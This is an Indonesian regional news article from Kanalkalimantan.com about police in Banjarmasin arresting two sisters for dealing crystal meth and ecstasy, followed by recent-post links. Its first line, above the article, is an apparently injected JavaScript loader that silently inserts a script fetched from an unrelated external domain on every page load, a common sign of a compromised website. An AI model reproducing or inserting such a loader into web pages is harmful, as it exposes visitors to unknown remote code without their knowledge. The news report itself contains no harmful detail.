(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Kakak Adik Edar Narkoba, 99 Gram Sabu dan Ekstasi Disita


KANALKALIMANTAN.COM, BANJARMASIN – Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor (Polres) Kota Banjarmasin edarkan narkoba golongan 1.

R (23) dan N (31), dua kakak adik ini berbisnis barang haram narkoba. Dari pengungkapan, polisi berhasil mendapatkan barang bukti 99,23 gram dan 100 butir ekstasi.

Kasatnarkoba Polres Banjarmasin Kompol Bala P Dewa mengatakan, kedua IRT ditangkap di tempat berbeda di wilayah Kota Banjarmasin.

Rabu (18/12/2024 ) sore, polisi mengamankan R di Jalan Veteran tepatnya di lampu merah Pengambangan, Kecamatan Banjarmasin Timur.

Baca juga: Bandara Syamsudin Noor Prediksi Arus Balik Libur Nataru Bersamaan Haul Sekumpul

Dari tangan R, polisi mengamankan tas berwarna merah tergantung di box sebelah kiri sepeda motor. Setelah dibuka berisi 1 paket sabu dan 1 paket ekstasi dibungkus dalam kotak lampu.

Setelah melakukan interogasi, dari keterangan R, mengaku disuruh oleh N yang tidak lain adalah kakaknya untuk mengantarkan barang haram tersebut.

Polisi kemudian melakukan pengembangan dan berhasil meringkus N pada malam harinya di Jalan Martapura Lama, Komplek Graha Sejahtera, Kelurahan Sungai Lulut, Kecamatan Sungai Tabuk, Kabupaten Banjar.

Baca juga:Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

“Barang bukti yang berhasil disita dalam kasus ini 1 paket berisi narkotika jenis sabu berat 99,23 gram, kemudian 100 butir ekstasi warna merah muda logo Mahkota dengan berat 42 gram,” ungkap Kasatnarkoba.

Polisi juga menyita barang bukti terkait dengan kasus diantaranya sebuah kotak lampu, 2 lembar tissu, 1 unit sepeda motor, dan 2 unit handphone dari kedua pelaku.

“Barang bukti dibawa ke kantor Polres Banjarmasin untuk pemeriksaan lebih lanjut,” kata Kasatnarkoba.

Atas perbuatannya, kedua pelaku terancam dengan jeratan pidana pasal 112 ayat (2) jo pasal 132 ayat (1) Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.